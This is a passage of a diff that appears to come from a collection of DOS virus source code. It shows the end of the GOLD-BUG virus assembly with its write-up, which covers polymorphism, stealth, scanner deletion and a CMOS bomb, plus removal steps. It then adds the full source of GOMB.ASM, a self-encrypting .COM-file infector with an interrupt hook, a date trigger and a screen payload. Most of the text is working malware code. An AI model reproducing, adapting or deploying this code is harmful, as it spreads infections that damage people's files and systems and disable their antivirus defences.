full_move_w_si + mov ds,cx + cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL] + jne dont_set_intcd + lds dx,dword ptr ds:[VIRGIN_INT_13_B] + mov ax,DOS_SET_INT+NEW_INT_13_LOOP + int DOS_INT +dont_set_intcd: mov ah,high(GET_DEFAULT_DR) + int DOS_INT + call from_com_code+RELATIVE_OFFSET + mov ax,TERMINATE_W_ERR + int DOS_INT +boot_load endp + ENDIF + +;----------------------------------------------------------------------------- + + IF POLYMORPHIC +load_it proc near + mov word ptr ds:[si],FILE_SIGNATURE + mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF + push bx + xor ax,ax + cli + out 043h,al + in al,040h + mov ah,al + in al,040h + sti + push ax + and ax,0001eh + mov bx,ax + mov ax,word ptr ds:[bx+two_byte_table] + mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax + org $-REMOVE_NOP + pop ax + and ax,003e0h + mov cl,FIVE_BITS + shr ax,cl + mov bx,ax + mov al,byte ptr ds:[bx+one_byte_table] + xor al,low(INC_BL) + mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al + pop bx + jmp com_start +load_it endp + +;----------------------------------------------------------------------------- + +two_byte_table: mov al,0b2h + xor al,0b4h + and al,0d4h + les ax,dword ptr ds:[si] + les cx,dword ptr ds:[si] + les bp,dword ptr ds:[si] + adc al,0d4h + and al,084h + adc al,084h + adc al,024h + add al,084h + add al,014h + add al,024h + test dl,ah + repz stc + repnz stc + +;----------------------------------------------------------------------------- + +one_byte_table: int SINGLE_BYTE_INT + into + daa + das + aaa + aas + inc ax + inc cx + inc dx + inc bp + inc di + dec ax + dec cx + dec dx + dec bp + dec di + nop + xchg ax,cx + xchg ax,dx + xchg ax,bp + xchg ax,di + cbw + cwd + lahf + scasb + scasw + xlat + repnz + repz + cmc + clc + stc + ENDIF + +;----------------------------------------------------------------------------- + +gold_bug endp +cseg ends +end com_code + +;----------------------------------------------------------------------------- + +Virus Name: GOLD-BUG +Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE +V Status: New, Research +Discovery: January, 1994 +Symptoms: CMOS checksum failure; Creates files with no extension; Modem + answers on 7th ring; BSC but it is hidden; Most virus scanners + fail to run or are Deleted; CHKLIST.??? files deleted. +Origin: USA +Eff Length: 1,024 Bytes +Type Code: SBERaRbReX - Spawning Color Video Resident and Extended HMA + Memory Resident Boot-Sector and Master-Sector Infector +Detection Method: None +Removal Instructions: See Below + +General Comments: + + GOLD-BUG is a memory-resident multipartite polymorphic stealthing + boot-sector spawning anti-antivirus virus that works with DOS 5 and + DOS 6 in the HIMEM.SYS memory. When an .EXE program infected with the + GOLD-BUG virus is run, it determines if it is running on an 80186 or + better, if not it will terminate and not install. If it is on an + 80186 or better it will copy itself to the partition table of the hard + disk and remain resident in memory in the HMA (High Memory Area) only + if the HMA is available, ie. DOS=HIGH in the CONFIG.SYS file else no + infection will occur. The old partition table is moved to sector 14 + and the remainder of the virus code is copied to sector 13. The virus + then executes the spawned associated file if present. INT 13 and + INT 2F are hooked into at this time but not INT 21. The spawning + feature of this virus is not active now. + + When the computer is rebooted, the virus goes memory resident in the + color video memory. Also at this time the GOLD-BUG virus removes + itself from the partition table and restores the old one back. Unlike + other boot-sector infectors, it does not use the top of memory to + store the code. CHKDSK does not show a decrease in available memory. + At this time it only hooks INT 10 and monitors when the HMA becomes + available. Once DOS moves into the HMA, then GOLD-BUG moves into the + HMA at address FFFF:FB00 to FFFF:FFFF. If the HMA never becomes + available, ie. DOS loaded LOW or the F5 key hit in DOS 6 to bypass the + CONFIG.SYS, then the virus clears itself from the system memory when + the computer changes into graphics mode. If it moves to the HMA, it + hooks INT 13, INT 21 and INT 2F and then rewrites itself back to the + partition table. The GOLD-BUG virus also has some code that stays + resident in the interrupt vector table to always make the HMA + available to the virus. The full features of the virus are now + active. + + The GOLD-BUG virus will infect the boot sector of 1.2M diskettes. + The virus copies itself to the boot sector of the diskette and moves + a copy of the boot sector to sector 28 and the remainder of the code + is copied to sector 27. These are the last 2 sectors of the 1.2M disk + root directory. If there are file entries on sector 27 or 28 it will + not overwrite them with the virus code. It will infect 1.2M disks in + drive A: or B: If a clean boot disk is booted from drive A: and you + try to access C: you will get an invalid drive specification. + + The boot-sector infection is somewhat unique. If the computer is + booted with a disk that contains the GOLD-BUG virus, it will remain in + video memory until the HMA is available and then infect the hard disk. + Also at this time, it will remove itself from the 1.2M disk. The + virus will never infect this disk again. It makes tracking where you + got the virus from difficult in that your original infected disk is + not infected anymore. + + If an .EXE file less than 64K and greater then 1.5K is executed, + GOLD-BUG will randomly decide to spawn a copy of it. The .EXE file is + renamed to the same file name with no extension, ie. CHKDSK.EXE + becomes CHKDSK. The original file attributes are then changed to + SYSTEM. An .EXE file with the same name is created. This .EXE file + has the same length, file date and attributes as the original .EXE + file. This spawning process will not make a copy on a diskette + because it might be write protected and be detected; but it will make + a spawn .EXE file on a network drive. When a spawned file is created, + CHKLIST.??? of the current directory is also deleted. The .EXE file + that is created is actually a .COM file; it has no .EXE header. + + The GOLD-BUG virus is very specific as to what type of .EXE files it + will spawn copies. It will not spawn any Windows .EXE files or any + other .EXE files the use the new extended .EXE header except those + that use the PKLITE extended .EXE header. This way all Windows + programs will continue to run and the virus will still be undetected. + + The GOLD-BUG virus is also Polymorphic. Each .EXE file it creates + only has 2 bytes that remain constant. It can mutate into 128 + different decryption patterns. It uses a double decryption technique + that involves INT 3 that makes it very difficult to decrypt using a + debugger. The assembly code allowed for 512 different front-end + decrypters. Each of these can mutate 128 different ways. + + The GOLD-BUG virus incorporates an extensive steathing technique. Any + time the hard disk partition table or boot sector of an infected + diskette is examined, the copy of the partition table or boot sector + is returned. If a spawned .EXE file is opened to be read or executed; + the GOLD-BUG virus will redirect to the original file. Windows 3.1 + will detect a resident boot-sector virus if the "Use 32 Bit Access" is + enabled on the "Virtual Memory" option. GOLD-BUG will disconnect + itself from the INT 13 chain when Windows installs and reconnect when + Windows uninstalles to avoid being detected. When Windows starts, the + GOLD-BUG virus will copy the original hard disk partition table back. + When Windows ends, the GOLD-BUG virus will reinfect the partition + table. + + The GOLD-BUG virus also has an extensive anti-antivirus routine. It + can install itself with programs like VSAFE.COM and DISKMON.EXE + resident that monitor changes to the computer that are common for + viruses. It writes to the disk using the original BIOS INT 13 and not + the INT 13 chain that these types of programs have hooked into. It + hooks into the bottom of the interrupt chain rather than changing and + hooking interrupts; very similar to the tunneling technique. If the + GOLD-BUG virus is resident in memory, any attempts to run most virus + scanners will be aborted. GOLD-BUG stops any large .EXE file + (greater than 64k) with the last two letters of "AN" to "AZ". It will + stop SCAN.EXE, CLEAN.EXE, NETSCAN.EXE, CPAV.EXE, MSAV.EXE, TNTAV.EXE, + etc., etc. The SCAN program will either be deleted or an execution + error will return. Also, GOLD-BUG will cause a CMOS checksum failure + to happen next time the system boots. GOLD-BUG also erases + "CHKLIST.???" created by CPAV.EXE and MSAV.EXE. Programs that do an + internal checksum on themselves will not detect any changes. The + Thunder Byte Antivirus programs contain a partition table program that + claims it can detect all partition table viruses. GOLD-BUG rides + right through the ThunderByte partition virus checker. + + The GOLD-BUG virus detects a modem. If you received an incoming call + on the modem line, GOLD-BUG will output a string that will set the + modem to answer on the seventh ring. + + If a program tries to erase the infected .EXE file, the original + program and not the infected .EXE file is erased. + + The text strings "AU", "1O7=0SLMTA", and "CHKLIST????" appear in the + decrypted code. The virus gets it name from "AU", the chemical + element "GOLD". The text string "CHKLIST????" is actually executable + code. + + The GOLD-BUG virus has two companion viruses that it works with. The + DA'BOYS virus is also a boot-sector infector. It is possible to have + a diskette with two boot-sector viruses. GOLD-BUG hides the presence + of the DA'BOYS virus from the Windows 3.1 startup routine. GOLD-BUG + removes the DA'BOYS virus from the INT 13 chain at the start of + Windows and restores it when Windows ends. The GOLD-BUG virus works + with the XYZ virus; it reserves the space FFFF:F900 to FFFF:FAFF in + the HMA for the XYZ virus so it can load as well. + + To remove the GOLD-BUG virus, change DOS=HIGH to DOS=LOW in the + CONFIG.SYS, then reboot. Once the system comes up again, reboot from + a clean boot disk. The Virus has now removed itself from the + partition table and memory. With the ATTRIB command check for files + with the SYSTEM bit set that don't have any extension. Delete the + .EXE file associated with the SYSTEM file. Using ATTRIB remove the + SYSTEM attribute. Rename the file with no extension to an .EXE file. + Format each diskette or run SYS to remove the virus from the boot + sector of each 1.2M disk. Any spawned .EXE files copied to diskette + need to be deleted. + + Several variations of this virus can exist. The assembly code allowed + for 14 features to be turned on or off: Delete Scanners, Check for + 8088, Infect at Random, Deflect Delete, CMOS Bomb, File Reading + Stealth, Same File Date, Double Decryption, Execute Spawned, Modem + Code, Anti-Antivirus, Polymorphic, Multipartite and 720K or 1.2M + Diskette Infection. Some of these features can be disabled and more + code added to change the characteristics of this virus. diff --git a/g/GOMB.ASM b/g/GOMB.ASM new file mode 100755 index 0000000..3e7f093 --- /dev/null +++ b/g/GOMB.ASM @@ -0,0 +1,900 @@ +CODE segment para public 'code' + assume cs:code,ds:code,es:nothing,ss:nothing + + org 100h + +egy equ 1 ; one +dma equ 0b0h +atvar equ 300 ; at paramaeter +xtvar equ 1 ; xt parameter +suruseg equ 255 ; density +idotartalek equ 18*30 ; time delay + +start: db 0e9h,0,0 +;##################### Initialization ###################### +resid: push ax + mov cx,offset memory - offset begin ;#### decoding #### + mov bx,ds:[101h] + add bx,103h+(offset begin-offset resid) +jhg1: xor byte ptr [bx],0 + inc bx + loop jhg1 + +begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin) + mov cs:[0feh],bx + mov ax,[bx+(offset eltarol-offset resid)] + mov cl,[bx+(offset eltarol-offset resid)+2] + mov ds:[100h],ax + mov ds:[102h],cl + mov cx,0b800h + mov ah,15 + push bx + int 10h + pop bx + cmp al,7 + jne rety + mov ch,0b0h +rety: mov [bx+(offset ruut - offset resid)+1],cx + mov word ptr [bx+(offset counter-offset resid)],idotartalek + mov byte ptr [bx+(offset jammed-offset resid)+1],al + mov byte ptr [bx+(offset vanesik-offset resid)],0 + xor ax,ax + mov ds,ax + cmp word ptr ds:[130h],4142h + je zipp + mov ds:[130h],4142h + mov ax,cs + dec ax + mov ds,ax + mov ax,ds:[3] + sub ax,180h + mov ds:[3],ax + add ax,ds:[1] + mov es,ax + push cs + pop ds + sub word ptr ds:[2],384 + mov di,3 + mov si,bx + mov cx,(offset memory-offset resid) shr 1 +1 + cld + rep movsw + mov ax,es + sub ax,10h + mov ds,ax + mov dx,offset irq + mov ax,251ch + int 21h + mov ah,2ah + int 21h + cmp al,1 + jne zipp + dec al + out 0a0h,al + mov al,dma + out 41h,al +zipp: + mov ax,cs + mov ds,ax + mov es,ax + pop ax + push cs + mov cx,100h + push cx + mov cx,ds:[0feh] + sub cx,100h + retf +eltarol dw 20cdh +eltarol2 db 90h + +;######################### Vyrus activated ########################## +csik: mov ax,0e000h + mov ds,ax +csiky: mov ds:[0],al + inc al + jmp csiky + +;######################### propagation part ########################## + +eredeti: db 0eah ; original +int211 dw 0 +int212 dw 0 +counter dw 0 +szaporodas: cmp ah,4bh + jne eredeti + or al,al + jnz eredeti + push ax + push es + push bx + push ds + push dx + mov bx,dx +koj: inc bx + cmp byte ptr [bx],'.' + jne koj + cmp byte ptr[bx+1],'C' + jne kiugras1 + mov cs:kds,ds + mov cs:kdx,dx + mov cs:kbx,bx + call probe +kiugras1: pop dx + pop ds + pop bx + pop es + pop ax + jmp eredeti +kds dw 0 +kdx dw 0 +kbx dw 0 +kkk dw 0 +fszam dw 0 +probe: push cs + pop es + mov di,offset memory + mov si,dx + mov cx,40 + cld + rep movsw + mov bx,0ff0h + mov ah,48h + int 21h + jnc juk1 + ret + ;!!!!! memoria lefoglalva (kkk = Seg) +atr dw 0 +juk1: mov cs:kkk,ax + mov dx,offset memory + push ds + pop es + mov bx,cs:kbx + mov byte ptr [bx+1],'A' ; + call elorutin + push cs + pop ds ;DS:DX a masolt nev. + mov ax,4300h + int 21h + mov atr,cx + xor cx,cx + mov ax,4301h + int 21h + ;!!!!! Attr allitas + cmp cs:attrflag,0 + jz juk2 + mov ds,cs:kds + jmp memoff +juk2: mov di,kdx ;ES:DI a regi nev atirva + mov ah,56h + int 21h + call utorutin ;!!!!! Atnevezve + mov dx,cs:kdx + push es + pop ds + mov ax,3d02h + int 21h ;!!!!! File megnyitva + mov cs:fszam,ax + mov ds,cs:kkk + xor dx,dx + mov bx,ax + mov cx,0fc00h-(offset memory-offset resid) + mov ah,3fh + int 21h + cmp ax,0fc00h-(offset memory-offset resid) + ;!!!!! Beolvasva a program (csak a hossza miatt) + je hosszu ;zarjuk le a file-t + cmp ax,7580 + jb hosszu ;tul rovid a file + mov di,ax + + mov bx,ds:[1] + cmp word ptr [bx+3],0b950h + +;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$ + + je hosszu + push di + mov cx,(offset memory-offset resid) + mov si,offset resid + push ds + pop es + push cs + pop ds + inc byte ptr ds:[offset jhg1 +2] + mov ax,es:[0] + mov eltarol,ax + mov al,es:[2] + mov eltarol2,al + rep movsw ;!!!!! Atmasolva (hehe) + mov al,byte ptr ds:[offset jhg1 +2] + pop di + add di,(offset begin-offset resid) + mov cx,offset memory - offset begin ;#### coding #### +jhga: xor byte ptr es:[di],al + inc di + loop jhga + sub di,(offset memory - offset resid) + push di ;Az ugrasi hely + mov bx,fszam + mov cx,offset memory - offset begin + mov dx,di + push es + pop ds + mov ah,40h + int 21h + pop di + cmp ax,offset memory - offset begin + je ghj1 +hosszu: jmp zardle +ghj1: ;!!!!! Kiirva a vege + mov byte ptr ds:[0],0e9h + sub di,3 + mov ds:[1],di + mov bx,cs:fszam + xor cx,cx + xor dx,dx + mov ax,4200h + push bx + int 21h + pop bx + mov cx,3 + xor dx,dx + mov ah,40h + int 21h +zardle: mov bx,cs:fszam + mov ah,3eh + int 21h ;!!!!! File lezarva + push cs + pop es + mov di,offset memory + mov ds,cs:kds + mov dx,cs:kdx + mov ah,56h + int 21h ;!!!!! File visszanevezve + mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + mov ax,4301h + mov cx,cs:atr + int 21h ;!!!!! attr visszaall +memoff: mov bx,cs:kbx + mov byte ptr ds:[bx+1],'C' + push cs + pop ds + mov es,cs:kkk + mov ah,49h + int 21h ;!!!!! Memoria visszaalt + ret +it241 dw 0 +it242 dw 0 +attrflag db 0 + +elorutin: mov cs:attrflag,0 + xor ax,ax + mov ds,ax + mov ax,ds:[90h] + mov cs:it241,ax + mov ax,ds:[92h] + mov cs:it242,ax + mov ds:[90h],offset it24 + mov ds:[92h],cs + ret + +utorutin: xor ax,ax + mov ds,ax + mov ax,cs:it241 + mov ds:[90h],ax + mov ax,cs:it242 + mov ds:[92h],ax + ret +it24: mov cs:attrflag,1 + xor al,al + iret +vanesik db 0 +irq: cli + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + cmp cs:counter,0 + je sabad + dec cs:counter + jne sabad + xor ax,ax + mov ds,ax + mov ax,ds:[84h] + mov cs:int211,ax + mov ax,ds:[86h] + mov cs:int212,ax + mov ds:[84h],offset szaporodas + mov ds:[86h],cs +sabad: cmp cs:vanesik,0 + je keress + call idovan + jmp jumper +keress: call ruut +jumper: pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + iret + +idovan: xor ah,ah + int 1ah + and dx,suruseg + jne rutyi + call action +rutyi: ret + + +ruut: mov ax,0b800h + mov es,ax + mov di,cs:did + mov cx,512 + cld +poke: jcxz huy + mov al,'E' + repnz scasb + jz talalt +huy: cmp di,4095 + jb kisebb + mov cs:did,0 + ret +kisebb: add cs:did,512 + ret +did dw 0 +talalt: test di,1 + jz poke + mov dl,es:[di+1] + mov dh,es:[di+3] + or dx,2020h + cmp dx,6973h ;'is' + jne poke + mov bl,es:[di+5] + or bl,20h + cmp bl,'k' + jne poke + mov cs:vanesik,1 + jmp huy +action: mov ax,cs + mov ds,ax + mov es,ax + mov vanesik,0 + mov pontszam,1 + mov si,offset zizi + mov di,offset novi + cld + mov cx,6 + rep movsw + call zoldseg +jammed: mov ax,3 + int 10h + cmp counterr,atvar + jne fdr + push cs + pop es + lea bx,mess + mov ax,1301h + mov bx,1 + xor dx,dx + mov cx,offset drt-offset mess + int 10h +fdr: ret + +counterr dw 0 +zoldseg: cli + mov di,offset memory + xor ax,ax + cld + mov cx,200*3 + rep stosw + mov ah,0c0h + mov si,3333h + int 15h + cmp si,3333h + mov ax,xtvar + je xt + mov ax,atvar +xt: mov counterr,ax + mov ax,3502h + int 21h + cmp bx,0e9eh + jne ibm + call init1 + mov pontm,100 + mov port,22h + jmp entry +ibm: ;Ibm bulik + mov pontm,200 + mov al,70h + mov port,60h ;% + mov ah,15 + int 10h + cmp al,7 + jne cga + call init3 + jmp entry +cga: call init2 + jmp entry +port dw 22h +pontm dw 100 + +init1: mov ax,200h + mov es,ax + xor di,di + mov cx,4000h + cld + xor ax,ax + rep stosw + mov plotdw,offset plot + mov unplotdw,offset unplot + ret +init2: mov ax,0b800h + mov es,ax + mov ax,6 + int 10h + mov plotdw,offset plotcga + mov unplotdw,offset unplotcga + ret +init3: mov ax,0b000h + mov es,ax + call prog + mov plotdw,offset plotherc + mov unplotdw,offset unplotcga + ret +prog: mov dx,3bfh + mov al,3 + out dx,al + mov al,28h + mov dx,3b8h + out dx,al + mov ah,0 + mov cx,12 + lea bx,ports +lopi1: mov dx,03b4h + mov al,ah + out dx,al + inc ah + mov dx,03b5h + mov al,[bx] + out dx,al + inc bx + loop lopi1 + + mov dx,3bfh + mov al,3 + out dx,al + mov dx,3b8h + mov al,0ah + out dx,al + xor di,di + mov cx,4000h + xor ax,ax + cld + rep stosw + ret + +ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0 + +;**************************** Forgatorutin ************************************ + + even +sina dw 0 +cosa dw 0 ;si-t meghagyja +sinb dw 0 +cosb dw 0 +pontszam dw 1 +transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB +; add bx,ytol ;ez itt jolesz + shl di,1 + shl bx,1 ;X es Y elokeszitese a szorzashoz + mov ax,di + imul cosa + mov bp,dx + mov ax,bx + imul sina + add bp,dx ; bp=X' = cosa*X + sina*Y + mov ax,bx + imul cosa + mov bx,dx + mov ax,di + imul sina + sub bx,dx ; bx=Y' = cosa*X - sina*Y + shl bp,1 + shl cx,1 ;X' es Z elokeszitese + mov ax,bp + imul cosb + mov di,dx + mov ax,cx + imul sinb + sub di,dx ; di=X'' = cosb*X' - sinb*Z + mov cx,di + mov ax,bx + ret + +comment @ + mov ax,cx + imul cosb + mov cx,dx + mov ax,bp + imul sinb + add cx,dx ; cx=Z'' = cosb*Z = sinb*X' + + ; out: di=X'' bx=Y'' cx=Z'' + mov dx,keptav +;****************************** PERSPEKTIVA ********************************** + mov ax,di + shl ax,1 + imul tavol + mov cx,dx + mov ax,bx + shl ax,1 + imul tavol + mov ax,dx + ret ; ki : CX=X' AX=Y' + +@ + +plotherc: ; al=y cx=x + xor ah,ah + mov dx,ax + shr dx,1 + add ax,dx + mov dx,cx + mov cl,al + and cl,3 + shr ax,1 + shr al,1 + mov di,2000h + shl di,cl + mov cl,90 + mul cl + add di,ax + mov ax,dx + mov cx,dx + jmp ezisi +plotcga: xor di,di + shr ax,1 + jnc tryp + mov di,2000h +tryp: mov dl,80 + mul dl + add di,ax + mov ax,cx +ezisi: shr ax,1 + shr ax,1 + shr ax,1 + add di,ax + and cl,7 + mov al,128 + shr al,cl + or es:[di],al + jmp ezis1 + +unplotcga: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di],al + ret + +plot: ;AL = y koord. cx = x koord. + mov dl,160 + mul dl + mov di,ax + mov ax,cx + shr ax,1 + shr ax,1 + add di,ax + and di,-2 + and cl,7 + mov al,128 + shr al,cl + or es:[di+egy],al +ezis1: mov [bx],al + inc bx + mov [bx],di + add bx,2 + ret +unplot: mov al,[bx] + mov di,[bx+1] + xor al,255 + and es:[di+egy],al + ret +kezdfazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam +ck1: push cx + lodsw + mov cx,ax + shl cx,1 + add cx,320 + lodsw + add si,2 + add ax,50 + call word ptr [plotdw] + pop cx + loop ck1 + ret +indy db 0 + +fazisrajz: mov bx,offset memory + mov si,offset gombdata + mov cx,pontszam + mov indy,1 +ck12: push cx + call word ptr [unplotdw] + push bx + lodsw + mov di,ax + lodsw + mov bx,ax + lodsw + mov cx,ax + call transzform + pop bx + add ax,50 + mov di,bxpo + add al,[di] + shl cx,1 + add cx,bxpo2 + cmp indy,0 + je ruty + mov indy,0 + cmp karal2,0 + jne ruty + push cx + push ax + inc cx + call word ptr [plotdw] + pop ax + pop cx + sub bx,3 +ruty: call word ptr [plotdw] + pop cx + loop ck12 + ret + +novpont: mov ax,pontm + cmp pontszam,ax + je trew + mov cx,pontm + sub cx,pontszam + mov ch,cl + shR cx,1 + shr cx,1 +yut: loop yut + inc pontszam + ret +trew: call movie + mov bx,bxpo + cmp bx,offset patt + je valto + cmp bx,offset patt+29 + je valto +iuy: add bx,novi + mov bxpo,bx + ret +valto: neg novi + jmp iuy +novi dw -1 +bxpo dw offset patt +bxpo2 dw 320 +novi2 dw 4 +karal dw 300 +karal2 dw 600 +zizi dw -1,offset patt,320,4,300,600 +movie: cmp karal,0 + je jesty + dec karal + ret +jesty: cmp karal2,0 + je jesty2 + dec karal2 +jesty2: mov bx,bxpo2 + cmp bx,100 + je valto2 + cmp bx,540 + je valto2 +iuy2: add bx,novi2 + mov bxpo2,bx + ret +valto2: neg novi2 + jmp iuy2 +elokesz: call novpont + mov bl,szogx + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sina,ax + mov ax,costabl[bx] + mov cosa,ax + mov bl,szogy + xor bh,bh + shl bx,1 + mov ax,sintabl[bx] + mov sinb,ax + mov ax,costabl[bx] + mov cosb,ax + mov al,szogxvalt + add szogx,al + mov al,szogyvalt + add szogy,al + ret + even +szogx db 0 +szogy db 0 +szogxvalt db 2 +szogyvalt db 5 +tavol dw 32767 + +phase: call elokesz + call fazisrajz + ret +entry: call kezdfazisrajz +rajta1: call phase + cmp pontm,100 + je apc + cmp byte ptr ds:[offset ruut +2],0b8h + je ccggaa + mov cx,counterr + mov dx,3bah +qaz1: in al,dx + and al,1 + jnz qaz1 +qaz2: in al,dx + and al,1 + jz qaz2 + loop qaz1 + jmp apc +ccggaa: mov dx,3dah +qaz3: in al,dx + and al,8 + jnz qaz3 +qaz4: in al,dx + and al,8 + jz qaz4 +apc: mov dx,port + in al,dx + and al,1 + jz rajta1 + ret + even +plotdw dw 0 +unplotdw dw 0 + +sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393 + dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279 + dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519 + dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811 + dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898 + dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580 + dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728 + dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273 + dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790 + dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005 + dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151 + dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512 + dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410 + dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808 + dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204 + dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731 + dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105 + dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113 + dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609 + dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521 + dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852 + dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170 + dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530 + dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039 + dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011 + dw -3212, -2410, -1608, -804 +costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285 + dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571 + dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683 + dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731 + dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868 + dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279 + dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179 + dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804 + dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602 + dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793 + dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530 + dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594 + dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790 + dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956 + dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971 + dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757 + dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285 + dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571 + dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683 + dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731 + dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868 + dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279 + dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179 + dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804 + dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602 + dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793 + dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530 + dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594 + dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790 + dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956 + dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971 + dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757 +gombdata: + DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46 + DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25 + DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21 + DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25 + DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0 + DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2 + DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5 + DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12 + DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30 + DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0 + DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44 + DW 33,15,-33,46,12,-14,48,9,7,40,6,29 + DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29 + DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44 + DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0 + DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30 + DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12 + DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5 + DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2 + DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0 + DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25 + DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21 + DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25 + DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46 + DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0 + DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46 + DW 33,15,-33,44,18,-14,44,21,7,35,24,25 + DW 19,26,37,0,29,40,-17,31,34,-29,34,21 + DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25 + DW 3,43,-23,12,45,-17,16,46,-8,15,47,0 + DW 11,48,5,5,49,7,0,49,6,0,49,2 + DW 0,49,0,2,49,0,6,49,0,7,49,5 + DW 5,48,11,0,47,15,-8,46,16,-17,45,12 + DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30 + DW 5,36,-33,21,34,-29,34,31,-17,40,29,0 + DW 37,26,19,25,24,35,7,21,44,-14,18,44 + DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29 + DW 